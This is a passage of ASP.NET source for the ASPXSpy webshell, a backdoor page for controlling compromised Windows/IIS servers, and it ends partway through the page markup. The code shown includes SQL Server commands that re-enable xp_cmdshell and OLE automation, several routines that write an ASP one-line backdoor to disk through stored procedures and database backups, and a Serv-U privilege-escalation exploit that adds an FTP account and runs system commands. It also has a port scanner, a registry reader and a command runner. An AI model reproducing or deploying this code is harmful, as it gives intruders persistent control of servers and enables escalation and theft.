  830.             accstr += "Tables Count : " + acctable.Rows.Count + "<br>Please select a database : <SELECT onchange=if(this.value!='')Command('postdata',this);>";
  831.             for (int i = 0; i < acctable.Rows.Count; i++)
  832.             {
  833.                 accstr += "<option value=" + acctable.Rows[i].ItemArray[2].ToString() + ">" + acctable.Rows[i].ItemArray[2].ToString() + "</option>";
  834.             }
  835.             if (Session["Bin_Table"] != null)
  836.             {
  837.                 accstr += "<option SELECTED>" + Session["Bin_Table"] + "</option>";
  838.             }
  839.             accstr += "</SELECT>";
  840.             Bin_AccinfoLabel.Text = accstr;
  841.             CloseConnection();
  842.         }
  843.         catch (Exception Error)
  844.         {
  845.             Bin_Error(Error.Message);
  846.         }
  847.     }
  848.     protected void Bin_Databind()
  849.     {
  850.         try
  851.         {
  852.             Bin_SAexecButton.Visible = false;
  853.             Bin_Accbind();
  854.             Bin_Scroll.Visible = true;
  855.             if (Bin_SQLRadioButton.Checked)
  856.             {
  857.                 Bin_DBmenuPanel.Visible = true;
  858.                 Bin_DBinfoLabel.Visible = false;
  859.             }
  860.             Bin_DataGrid.Visible = true;
  861.             DataTable databind = Bin_DataTable(@"SELECT * FROM " + Session["Bin_Table"]);
  862.             Bin_DataGrid.DataSource = databind;
  863.             Bin_DataGrid.DataBind();    
  864.         }
  865.         catch (Exception Error)
  866.         {
  867.            
  868.             Bin_Error(Error.Message);
  869.         }
  870.     }
  871.  
  872.     public void Bin_ExecSql(string instr)
  873.     {
  874.         try
  875.         {
  876.             OpenConnection();
  877.             comm.CommandType = CommandType.Text;
  878.             comm.CommandText = instr;
  879.             comm.ExecuteNonQuery();
  880.         }
  881.         catch (Exception e)
  882.         {
  883.             Bin_Error(e.Message);
  884.         }
  885.     }
  886.     public void Item_DataBound(object sender,DataGridItemEventArgs e)
  887.     {
  888.        
  889.         for (int i = 2; i < e.Item.Cells.Count; i++)
  890.         {
  891.             e.Item.Cells[i].Text = e.Item.Cells[i].Text.Replace("<", "&lt;").Replace(">", "&gt;");
  892.         }
  893.      
  894.     }
  895.    protected void Bin_DBPage(object sender, DataGridPageChangedEventArgs e)
  896.     {
  897.         Bin_DataGrid.CurrentPageIndex = e.NewPageIndex;
  898.         Bin_Databind();
  899.     }
  900.     public void Item_Command(object sender, DataGridCommandEventArgs e)
  901.     {
  902.         if (e.CommandName == "Cancel")
  903.         {
  904.             Bin_DataGrid.EditItemIndex = -1;
  905.             Bin_Databind();
  906.         }
  907.     }
  908.  
  909.     protected void Bin_ExecButton_Click(object sender, EventArgs e)
  910.     {
  911.         try
  912.         {
  913.            
  914.             Bin_Scroll.Visible = true;
  915.             Bin_DataGrid.Visible = true;
  916.             Bin_DataGrid.AllowPaging = true;
  917.             Bin_Accbind();
  918.             if (Bin_SQLRadioButton.Checked)
  919.             {
  920.                 Bin_DBmenuPanel.Visible = true;
  921.             }
  922.             string sqlstr = Bin_DBstrTextBox.Text;
  923.             sqlstr = sqlstr.TrimStart().ToLower();
  924.             if (sqlstr.Substring(0, 6) == "select")
  925.             {
  926.                 DataTable databind = Bin_DataTable(sqlstr);
  927.                 Bin_DataGrid.DataSource = databind;
  928.                 Bin_DataGrid.DataBind();
  929.             }
  930.             else
  931.             {
  932.                 Bin_ExecSql(sqlstr);
  933.                 Bin_Databind();
  934.             }
  935.         }
  936.         catch(Exception error)
  937.         {
  938.             Bin_Error(error.Message);
  939.         }
  940.     }
  941.  
  942.     protected void Bin_BDButton_Click(object sender, EventArgs e)
  943.     {
  944.         Bin_DBinfoLabel.Visible = false;
  945.         Bin_Accbind();
  946.         Bin_DBmenuPanel.Visible = true;
  947.         Bin_DataGrid.Visible = false;
  948.         Bin_DataGrid.AllowPaging = true;
  949.         Bin_Scroll.Visible = false;
  950.         Bin_DBstrTextBox.Text = "";
  951.         Bin_SAexecButton.Visible = false;
  952.         Bin_ResLabel.Visible = false;
  953.         Bin_dirPanel.Visible = false;
  954.        
  955.     }
  956.    
  957.     protected void Bin_SACMDButton_Click(object sender, EventArgs e)
  958.     {
  959.         Bin_DBinfoLabel.Visible = false;
  960.         Bin_DataGrid.Visible = false;
  961.         Bin_Scroll.Visible = false;
  962.         Bin_SAexecButton.Visible = true;
  963.         Bin_Change();
  964.         Bin_ExecButton.Visible = false;
  965.         Bin_ResLabel.Visible = false;
  966.         Session["Bin_Option"] = null;
  967.         Bin_dirPanel.Visible = false;
  968.        
  969.     }
  970.     public void Bin_Change()
  971.     {
  972.         Bin_ExecButton.Visible = false;
  973.         string select = "<input type=hidden name=goaction><input type=hidden name=todo><input type=hidden name=intext><select onchange=if(this.value!='')Command('changedata',this);><option>SQL Server Exec<option value=\"Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')\">Add sp_oacreate<option value=\"Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')\">Add xp_cmdshell<option value=\"EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;\">Add xp_cmdshell(SQL2005)<option value=\"exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;\">Add sp_oacreate(SQL2005)<option value=\"exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;\">Open Openrowset(SQL2005)<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">XP_cmdshell exec<option value=\"Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^> > c:\\1.asp';\">SP_oamethod exec<option value=\"sp_makewebtask @outputfile='d:\\web\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))" + "%" + ">''' \">SP_makewebtask make file";
  974.         if (Session["Bin_Option"] != null)
  975.         {
  976.             select += "<option SELECTED>" + Session["Bin_Option"] + "</option>";
  977.         }
  978.         select += "</select>";
  979.         Bin_AccinfoLabel.Text = select;
  980.         Bin_DataGrid.Visible = false;
  981.         Bin_Scroll.Visible = false;
  982.     }
  983.  
  984.     protected void Bin_SAexecButton_Click(object sender, EventArgs e)
  985.     {
  986.         try
  987.         {
  988.             Bin_Change();
  989.             Bin_DBinfoLabel.Visible = false;
  990.             Bin_ExecButton.Visible = false;
  991.             Bin_Scroll.Visible = false;
  992.             Bin_DataGrid.Visible = false;
  993.             Bin_DBmenuPanel.Visible = true;
  994.             string sqlstr = Bin_DBstrTextBox.Text;
  995.             DataTable databind = Bin_DataTable(sqlstr);
  996.             string res = "";
  997.             foreach (DataRow dr in databind.Rows)
  998.             {
  999.                 for (int i = 0; i < databind.Columns.Count; i++)
  1000.                 {
  1001.                     res += dr[i] + "\r";
  1002.                 }
  1003.             }
  1004.             Bin_ResLabel.Text = "<hr><div id=\"nei\"><PRE>" + res.Replace(" ", "&nbsp;").Replace("<", "&lt;").Replace(">", "&gt;") + "</PRE></div>";
  1005.            
  1006.            
  1007.         }
  1008.         catch (Exception error)
  1009.         {
  1010.             Bin_Error(error.Message);
  1011.         }
  1012.  
  1013.     }
  1014.  
  1015.     protected void Bin_DirButton_Click(object sender, EventArgs e)
  1016.     {
  1017.         Bin_dirPanel.Visible = true;
  1018.         Bin_AccPanel.Visible = false;
  1019.         Bin_DBinfoLabel.Visible = false;
  1020.         Bin_DataGrid.Visible = false;
  1021.         Bin_Scroll.Visible = false;
  1022.     }
  1023.    
  1024.     protected void Bin_listButton_Click(object sender, EventArgs e)
  1025.     {
  1026.         Bin_dirPanel.Visible = true;
  1027.         Bin_AccPanel.Visible = false;
  1028.         Bin_DBinfoLabel.Visible = false;
  1029.         Bin_SqlDir();
  1030.     }
  1031.     public void Bin_SqlDir()
  1032.     {
  1033.         try
  1034.         {
  1035.             Bin_DataGrid.Visible = true;
  1036.             Bin_Scroll.Visible = true;
  1037.             Bin_DataGrid.AllowPaging = false;
  1038.             string exesql = "use pubs;if exists (select * from sysobjects where id = object_id(N'[bin_dir]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_dir]; CREATE TABLE bin_dir(DirName VARCHAR(400), DirAtt VARCHAR(400),DirFile VARCHAR(400)) INSERT bin_dir EXEC MASTER..XP_dirtree '" + Bin_DirTextBox.Text + "',1,1;";
  1039.             Bin_ExecSql(exesql);
  1040.             DataTable sql_dir = Bin_DataTable("select * from bin_dir");
  1041.             Bin_DataGrid.DataSource = sql_dir;
  1042.             Bin_DataGrid.DataBind();
  1043.         }
  1044.         catch (Exception e)
  1045.         {
  1046.             Bin_Error(e.Message);
  1047.         }
  1048.     }
  1049.  
  1050.     protected void Bin_SuButton_Click(object sender, EventArgs e)
  1051.     {
  1052.         Bin_CmdPanel.Visible = false;
  1053.         Bin_SQLPanel.Visible = false;
  1054.         Bin_SuPanel.Visible = true;
  1055.         Bin_IISPanel.Visible = false;
  1056.         Bin_SuresLabel.Text = "";
  1057.         Bin_LoginPanel.Visible = false;
  1058.         Bin_RegPanel.Visible = false;
  1059.         Bin_PortPanel.Visible = false;
  1060.     }
  1061.  
  1062.     protected void Bin_dbshellButton_Click(object sender, EventArgs e)
  1063.     {
  1064.         Bin_DBinfoLabel.Visible = false;
  1065.         Bin_AccPanel.Visible = false;
  1066.         Bin_BakDB();
  1067.     }
  1068.     public void Bin_BakDB()
  1069.     {
  1070.         string path = Bin_DirTextBox.Text.Trim();
  1071.         if (path.Substring(path.Length - 1, 1) == @"\")
  1072.         {
  1073.             path = path + "bin.asp";
  1074.         }
  1075.         else
  1076.         {
  1077.             path = path + @"\bin.asp";
  1078.         }
  1079.         string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup database @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup database @b to disk = @t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];";
  1080.         Bin_ExecSql(sql);
  1081.         Bin_SqlDir();  
  1082.     }
  1083.     public void Bin_BakLog()
  1084.     {
  1085.         string path = Bin_DirTextBox.Text.Trim();
  1086.         if (path.Substring(path.Length - 1, 1) == @"\")
  1087.         {
  1088.             path = path + "bin.asp";
  1089.         }
  1090.         else
  1091.         {
  1092.             path = path + @"\bin.asp";
  1093.         }
  1094.         string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup log @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];";
  1095.         Bin_ExecSql(sql);
  1096.         Bin_SqlDir();
  1097.     }
  1098.  
  1099.     protected void Bin_LogshellButton_Click(object sender, EventArgs e)
  1100.     {
  1101.         Bin_DBinfoLabel.Visible = false;
  1102.         Bin_AccPanel.Visible = false;
  1103.         Bin_BakLog();
  1104.     }
  1105.  
  1106.     protected void Bin_SuexpButton_Click(object sender, EventArgs e)
  1107.     {
  1108.         string Result = "";
  1109.         string user = Bin_SunameTextBox.Text;
  1110.         string pass = Bin_SupassTextBox.Text;
  1111.         int port = Int32.Parse(Bin_SuportTextBox.Text);
  1112.         string cmd = Bin_SucmdTextBox.Text;
  1113.         string loginuser = "user " + user + "\r\n";
  1114.         string loginpass = "pass " + pass + "\r\n";
  1115.         string site = "SITE MAINTENANCE\r\n";
  1116.         string deldomain = "-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  1117.         string setdomain = "-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  1118.         string newdomain = "-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  1119.         string quite = "QUIT\r\n";
  1120.         try
  1121.         {
  1122.             TcpClient tcp = new TcpClient("127.0.0.1", port);
  1123.             tcp.ReceiveBufferSize = 1024;
  1124.             NetworkStream NS = tcp.GetStream();
  1125.             Result = Rev(NS);
  1126.             Result += Send(NS, loginuser);
  1127.             Result += Rev(NS);
  1128.             Result += Send(NS, loginpass);
  1129.             Result += Rev(NS);
  1130.             Result += Send(NS, site);
  1131.             Result += Rev(NS);
  1132.             Result += Send(NS, deldomain);
  1133.             Result += Rev(NS);
  1134.             Result += Send(NS, setdomain);
  1135.             Result += Rev(NS);
  1136.             Result += Send(NS, newdomain);
  1137.             Result += Rev(NS);
  1138.             TcpClient tcp1 = new TcpClient("127.0.0.1", 52521);
  1139.             NetworkStream NS1 = tcp1.GetStream();
  1140.             Result += Rev(NS1);
  1141.             Result += Send(NS1, "user bin\r\n");
  1142.             Result += Rev(NS1);
  1143.             Result += Send(NS1, "pass binftp\r\n");
  1144.             Result += Rev(NS1);
  1145.             Result += Send(NS1, "site exec " + cmd + "\r\n");
  1146.             Result += Rev(NS1);
  1147.             tcp1.Close();
  1148.             Result += Send(NS, deldomain);
  1149.             Result += Rev(NS);
  1150.             Result += Send(NS, quite);
  1151.             Result += Rev(NS);
  1152.             tcp.Close();
  1153.         }
  1154.         catch (Exception error)
  1155.         {
  1156.             Bin_Error(error.Message);
  1157.         }
  1158.         Bin_SuresLabel.Text = "<div id=\"su\"><pre>" + Result + "</pre></div>";
  1159.        
  1160.        
  1161.     }
  1162.     protected string Rev(NetworkStream instream)
  1163.     {
  1164.         string Restr = "";
  1165.         if (instream.CanRead)
  1166.         {
  1167.             byte[] buffer = new byte[1024];
  1168.             instream.Read(buffer, 0, buffer.Length);
  1169.             Restr = Encoding.ASCII.GetString(buffer);
  1170.         }
  1171.         return "<font color = red>" + Restr + "</font><br>";
  1172.        
  1173.     }
  1174.     protected string Send(NetworkStream instream,string Sendstr)
  1175.     {
  1176.         if (instream.CanWrite)
  1177.         {
  1178.             byte[] buffer = Encoding.ASCII.GetBytes(Sendstr);
  1179.             instream.Write(buffer, 0, buffer.Length);
  1180.         }
  1181.         return "<font color = blue>" + Sendstr + "</font><br>";
  1182.     }
  1183.     protected void Bin_IISButton_Click(object sender, EventArgs e)
  1184.     {
  1185.         Bin_LoginPanel.Visible = false;
  1186.         Bin_MainPanel.Visible = false;
  1187.         Bin_MenuPanel.Visible = true;
  1188.         Bin_FilePanel.Visible = false;
  1189.         Bin_CmdPanel.Visible = false;
  1190.         Bin_SQLPanel.Visible = false;
  1191.         Bin_SuPanel.Visible = false;
  1192.         Bin_IISPanel.Visible = true;
  1193.         Bin_RegPanel.Visible = false;
  1194.         Bin_PortPanel.Visible = false;
  1195.         Bin_iisLabel.Text = Bin_iisinfo();
  1196.  
  1197.     }
  1198.  
  1199.     protected void Bin_PortButton_Click(object sender, EventArgs e)
  1200.     {
  1201.         Bin_MenuPanel.Visible = true;
  1202.         Bin_LoginPanel.Visible = false;
  1203.         Bin_CmdPanel.Visible = false;
  1204.         Bin_SQLPanel.Visible = false;
  1205.         Bin_SuPanel.Visible = false;
  1206.         Bin_IISPanel.Visible = false;
  1207.         Bin_RegPanel.Visible = false;
  1208.         Bin_PortPanel.Visible = true;
  1209.         Bin_ScanresLabel.Text = "";
  1210.     }
  1211.  
  1212.     protected void Bin_RegButton_Click(object sender, EventArgs e)
  1213.     {
  1214.         Bin_MenuPanel.Visible = true;
  1215.         Bin_LoginPanel.Visible = false;
  1216.         Bin_CmdPanel.Visible = false;
  1217.         Bin_SQLPanel.Visible = false;
  1218.         Bin_SuPanel.Visible = false;
  1219.         Bin_IISPanel.Visible = false;
  1220.         Bin_RegPanel.Visible = true;
  1221.         Bin_PortPanel.Visible = false;
  1222.         Bin_RegresLabel.Text = "";
  1223.        
  1224.     }
  1225.  
  1226.     protected void Bin_RegreadButton_Click(object sender, EventArgs e)
  1227.     {
  1228.         try
  1229.         {
  1230.             string regkey = Bin_KeyTextBox.Text;
  1231.             string subkey = regkey.Substring(regkey.IndexOf("\\") + 1, regkey.Length - regkey.IndexOf("\\") - 1);
  1232.             RegistryKey rk = null;
  1233.             if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_LOCAL_MACHINE")
  1234.             {
  1235.                 rk = Registry.LocalMachine.OpenSubKey(subkey);
  1236.             }
  1237.             if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CLASSES_ROOT")
  1238.             {
  1239.                 rk = Registry.ClassesRoot.OpenSubKey(subkey);
  1240.             }
  1241.             if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CURRENT_USER")
  1242.             {
  1243.                 rk = Registry.CurrentUser.OpenSubKey(subkey);
  1244.             }
  1245.             if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_USERS")
  1246.             {
  1247.                 rk = Registry.Users.OpenSubKey(subkey);
  1248.             }
  1249.             if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CURRENT_CONFIG")
  1250.             {
  1251.                 rk = Registry.CurrentConfig.OpenSubKey(subkey);
  1252.             }
  1253.  
  1254.             Bin_RegresLabel.Text = "<br>Result : " + rk.GetValue(Bin_ValueTextBox.Text, "NULL").ToString();
  1255.         }
  1256.         catch (Exception error)
  1257.         {
  1258.             Bin_Error(error.Message);
  1259.         }
  1260.     }
  1261.  
  1262.     protected void Bin_ScancmdButton_Click(object sender, EventArgs e)
  1263.     {
  1264.         try
  1265.         {
  1266.             string res = "";
  1267.             string[] port = Bin_PortsTextBox.Text.Split(',');
  1268.             for (int i = 0; i < port.Length; i++)
  1269.             {
  1270.                 res += Bin_Scan(Bin_ScanipTextBox.Text, Int32.Parse(port[i])) + "<br>";
  1271.             }
  1272.             Bin_ScanresLabel.Text = "<hr>" + res;
  1273.         }
  1274.         catch (Exception error)
  1275.         {
  1276.             Bin_Error(error.Message);
  1277.         }  
  1278.     }
  1279.     protected string Bin_Scan(string ip, int port)
  1280.     {
  1281.        
  1282.         string scanres = "";
  1283.         TcpClient tcp = new TcpClient();
  1284.         tcp.SendTimeout = tcp.ReceiveTimeout = 2000;
  1285.         try
  1286.         {
  1287.             tcp.Connect(ip, port);
  1288.             tcp.Close();
  1289.             scanres = ip + " : " + port + " ................................. <font color=green><b>Open</b></font>";
  1290.         }
  1291.         catch (SocketException e)
  1292.         {
  1293.             scanres = ip + " : " + port + " ................................. <font color=red><b>Close</b></font>";
  1294.         }  
  1295.         return scanres;
  1296.     }
  1297. </script>
  1298. <html xmlns="http://www.w3.org/1999/xhtml" >
  1299. <head runat="server">
  1300.     <title>ASPXSpy1.0 -> Bin:)</title>
  1301. <style type="text/css">
  1302.     A:link {
  1303.       COLOR:#000000; TEXT-DECORATION:None
  1304. }
  1305. A:visited {
  1306.        COLOR:#000000; TEXT-DECORATION:None
  1307. }
  1308. A:active {
  1309.        COLOR:#000000; TEXT-DECORATION:None
  1310. }
  1311. A:hover {
  1312.        COLOR:#000000; TEXT-DECORATION:underline
  1313. }
  1314. BODY {
  1315.     FONT-SIZE: 9pt;
  1316.     FONT-FAMILY: "Courier New";
  1317.     }
  1318. #nei {
  1319.     width:500px;
  1320.     margin:0px auto;
  1321.    
  1322.     overflow:hidden
  1323. }
  1324. #su {
  1325.     width:300px;
  1326.     margin:0px auto;
  1327.    
  1328.     overflow:hidden
  1329. }
  1330. #cmd {
  1331.     width:500px;
  1332.     margin:0px auto;
  1333.    
  1334.     overflow:hidden
  1335. }
  1336.     </style>
  1337.     <script type="text/javascript" language="javascript" >
  1338.     function Command(cmd, str)
  1339.     {
  1340.       var strTmp = str;
  1341.       var frm = document.forms[0];
  1342.       if(cmd == 'del')
  1343.       {
  1344.         if(confirm('Del It ?'))
  1345.         {
  1346.             frm.todo.value = str;
  1347.             frm.goaction.value = cmd;
  1348.             frm.submit();
  1349.         }
  1350.         else return;
  1351.       }
  1352.       if (cmd == 'change')
  1353.       {
  1354.          frm.todo.value = str;  
  1355.          frm.goaction.value = cmd;
  1356.          frm.submit();
  1357.       }
  1358.       if (cmd == 'down')
  1359.       {
  1360.          frm.todo.value = str;
  1361.          frm.goaction.value = cmd;
  1362.          frm.submit();
  1363.       }
  1364.       if (cmd == 'showatt')
  1365.       {
  1366.          frm.todo.value = str;
  1367.          frm.goaction.value = cmd;
  1368.          frm.submit();
  1369.       }
  1370.       if (cmd == 'edit')
  1371.       {
  1372.          frm.todo.value = str;
  1373.          frm.goaction.value = cmd;
  1374.          frm.submit();
  1375.       }
  1376.       if (cmd == 'deldir')
  1377.       {
  1378.       if(confirm('Del It ?'))
  1379.         {
  1380.          frm.todo.value = str;
  1381.          frm.goaction.value = cmd;
  1382.          frm.submit();
  1383.         }
  1384.         else return;
  1385.       }
  1386.       if(cmd == 'rename' )
  1387.       {
  1388.         frm.goaction.value = cmd;
  1389.         frm.todo.value = str + ',';
  1390.         str = prompt('Please input new filename:', strTmp);
  1391.         if(str && (strTmp != str))
  1392.         {
  1393.             frm.todo.value += str;
  1394.             frm.submit();
  1395.         }
  1396.         else return;
  1397.        }
  1398.        if(cmd == 'renamedir' )
  1399.       {
  1400.         frm.goaction.value = cmd;
  1401.         frm.todo.value = str + ',';
  1402.         str = prompt('Please input new foldername:', strTmp);
  1403.         if(str && (strTmp != str))
  1404.         {
  1405.             frm.todo.value += str;
  1406.             frm.submit();
  1407.         }
  1408.         else return;
  1409.        }
  1410.        if (cmd == 'postdata')
  1411.       {
  1412.          frm.todo.value = str.value;
  1413.          frm.goaction.value = cmd;
  1414.          frm.submit();
  1415.       }
  1416.       if (cmd == 'changedata')
  1417.       {
  1418.          frm.todo.value = str.value;
  1419.          frm.intext.value = str.options[str.selectedIndex].innerText
  1420.          frm.goaction.value = cmd;
  1421.          frm.submit();
  1422.       }
  1423.    }
  1424.    
  1425.     </script>
  1426. </head>
  1427. <body>
  1428.     <form id="form1" runat="server"><div style="text-align: center"><asp:Panel ID="Bin_LoginPanel" runat="server" Height="47px" Width="401px">
  1429.             <asp:Label ID="PassLabel" runat="server" Text="Password:"></asp:Label>
  1430.             <asp:TextBox ID="passtext" runat="server" TextMode="Password" Width="203px"></asp:TextBox>
  1431.             <asp:Button ID="LoginButton" runat="server" Text="Enter" OnClick="LoginButton_Click" /><p />
  1432.             Copyright (C) 2008 Bin -> <a href="http://www.rootkit.net.cn" target="_blank">WwW.RoOTkIt.NeT.Cn</a></asp:Panel><asp:Panel ID="Bin_MenuPanel" runat="server" Height="56px" Width="771px">
  1433.             <asp:Label ID="TimeLabel" runat="server" Text="Label" Width="150px"></asp:Label><br />
  1434.             <asp:Button ID="MainButton" runat="server" OnClick="MainButton_Click" Text="Sysinfo" />
  1435.                 <asp:Button ID="Bin_IISButton" runat="server" OnClick="Bin_IISButton_Click" Text="IISSpy" />
  1436.             <asp:Button ID="FileButton" runat="server" OnClick="FileButton_Click" Text="WebShell" />
  1437.                 <asp:Button ID="Bin_CmdButton" runat="server" Text="Command" OnClick="Bin_CmdButton_Click" />
  1438.                 <asp:Button ID="Bin_SQLButton" runat="server" OnClick="Bin_SQLButton_Click" Text="SqlTools" />&nbsp;<asp:Button
  1439.                     ID="Bin_SuButton" runat="server" OnClick="Bin_SuButton_Click" Text="SuExp" />
  1440.                 <asp:Button ID="Bin_PortButton" runat="server" Text="PortScan" OnClick="Bin_PortButton_Click" />
  1441.                 <asp:Button ID="Bin_RegButton" runat="server" Text="RegShell" OnClick="Bin_RegButton_Click" />
  1442.             <asp:Button ID="LogoutButton" runat="server" OnClick="LogoutButton_Click" Text="Logout" /><br />
  1443.             <asp:Label ID="Bin_ErrorLabel" runat="server" EnableViewState="False">Copyright (C) 2008 Bin -> <a href="http://www.rootkit.net.cn" target="_blank">WwW.RoOTkIt.NeT.Cn</a> -> <a href="http://www.rootkit.net.cn/index.aspx" target="_blank">Reverse-IP</a> </asp:Label></asp:Panel>
  1444.         <asp:Panel ID="Bin_MainPanel" runat="server" Width="769px" EnableViewState="False" Visible="False" Height="20px">
  1445.             <div style="text-align: left"><asp:Label ID="InfoLabel" runat="server" Width="765px" EnableViewState="False"  ></asp:Label></div></asp:Panel><div style="text-align: center">
  1446.             <asp:Panel ID="Bin_FilePanel" runat="server" Width="767px" EnableViewState="False" Visible="False"><div style="text-align: left"><asp:Label ID="Bin_FileLabel" runat="server" Text="Label" Width="764px"></asp:Label><br />
  1447.             <asp:Label ID="Bin_UpfileLabel" runat="server" Text="Upfile :  "></asp:Label>
  1448.             <input class="TextBox" id="Bin_UpFile" type="file" name="upfile" runat="server" />&nbsp;<asp:TextBox ID="Bin_upTextBox" runat="server" Width="339px"></asp:TextBox>&nbsp;
  1449.                 <asp:Button ID="Bin_GoButton" runat="server" OnClick="Bin_GoButton_Click" Text="GO" />
  1450.             <asp:Button ID="Bin_upButton" runat="server" Text="UpLoad" OnClick="Bin_upButton_Click" EnableViewState="False" /><br />
  1451.             <asp:Label ID="Bin_CreateLabel" runat="server" Text="Create :"></asp:Label>
  1452.             <asp:TextBox ID="Bin_CreateTextBox" runat="server"></asp:TextBox><asp:Button ID="Bin_NewFileButton"
  1453.                 runat="server" Text="NewFile" OnClick="Bin_NewFileButton_Click" />
  1454.             <asp:Button ID="Bin_NewdirButton" runat="server" Text="NewDir" OnClick="Bin_NewdirButton_Click" />
  1455.             <br />
  1456.             <asp:Label ID="Bin_CopyLabel" runat="server" Text="Copy :" Width="39px"></asp:Label>
  1457.             &nbsp;
  1458.             <asp:TextBox ID="Bin_CopyTextBox" runat="server" Width="273px"></asp:TextBox>
  1459.             <asp:Label ID="Bin_CopytoLable" runat="server" Text="To:"></asp:Label>
  1460.             <asp:TextBox ID="Bin_CopytoTextBox" runat="server" Width="268px"></asp:TextBox>
  1461.             <asp:Button ID="Bin_CopyButton" runat="server" Text="Copy" OnClick="Bin_CopyButton_Click" />
  1462.             <asp:Button ID="Bin_CutButton" runat="server" Text="Cut" Width="46px" OnClick="Bin_CutButton_Click" />
  1463.                 <asp:Label ID="Bin_FilelistLabel" runat="server" EnableViewState="False"></asp:Label></div><div style="text-align: center">
  1464.                 <asp:Panel ID="Bin_AttPanel" runat="server" Width="765px" Visible="False"><hr />
  1465.                     FileName :
  1466.                     <asp:Label ID="Bin_AttLabel" runat="server" Text="Label"></asp:Label><br />
  1467.                     <asp:CheckBox ID="Bin_ReadOnlyCheckBox" runat="server" Text="ReadOnly" />
  1468.                     <asp:CheckBox ID="Bin_SystemCheckBox" runat="server" Text="System" />
  1469.                     <asp:CheckBox ID="Bin_HiddenCheckBox" runat="server" Text="Hidden" />
  1470.                     <asp:CheckBox ID="Bin_ArchiveCheckBox" runat="server" Text="Archive" />
  1471.                     <br />
  1472.                     CreationTime :
  1473.                     <asp:TextBox ID="Bin_CreationTimeTextBox" runat="server" Width="123px"></asp:TextBox>
  1474.                     LastWriteTime :
  1475.                     <asp:TextBox ID="Bin_LastWriteTimeTextBox" runat="server" Width="129px"></asp:TextBox>
  1476.                     LastAccessTime :
  1477.                     <asp:TextBox ID="Bin_AccessTimeTextBox" runat="server" Width="119px"></asp:TextBox><br />
  1478.                     <asp:Button ID="Bin_SetButton" runat="server" OnClick="Bin_SetButton_Click" Text="Set" />
  1479.                     <asp:Button ID="Bin_SbackButton" runat="server" OnClick="Bin_SbackButton_Click" Text="Back" />
  1480.                     <hr />
  1481.                 </asp:Panel></div>
  1482.                 <div style="text-align: center"><asp:Panel ID="Bin_EditPanel" runat="server" Visible="False"><hr style="width: 757px" />
  1483.                     Path:<asp:TextBox ID="Bin_EditpathTextBox" runat="server" Width="455px"></asp:TextBox><br />
  1484.                     <asp:TextBox ID="Bin_EditTextBox" runat="server" TextMode="MultiLine" Columns="100" Rows="25" Width="760px"></asp:TextBox><br />
  1485.                     <asp:Button ID="Bin_EditButton" runat="server" Text="Sumbit" OnClick="Bin_EditButton_Click" />&nbsp;<asp:Button
  1486.                         ID="Bin_BackButton" runat="server" OnClick="Bin_BackButton_Click" Text="Back" /></asp:Panel></div></asp:Panel></div>
  1487.                 <asp:Panel ID="Bin_CmdPanel" runat="server" Height="50px" Width="763px"><hr />
  1488.                     CmdPath : &nbsp;<asp:TextBox ID="Bin_CmdPathTextBox" runat="server" Width="395px">C:\Windows\System32\Cmd.exe</asp:TextBox><br />
  1489.                     Argument :
  1490.                     <asp:TextBox ID="Bin_CmdShellTextBox" runat="server" Width="395px">/c Set</asp:TextBox><br />
  1491.                     <asp:Button ID="Bin_RunButton" runat="server" OnClick="Bin_RunButton_Click" Text="Run" />
  1492.                     <div style="text-align: left">
  1493.                     <asp:Label ID="Bin_CmdLabel" runat="server" EnableViewState="False"></asp:Label></div>
  1494.                     <hr /></asp:Panel>
  1495.         <asp:Panel ID="Bin_SQLPanel" runat="server" Visible="False" Width="763px">
  1496.             <hr />
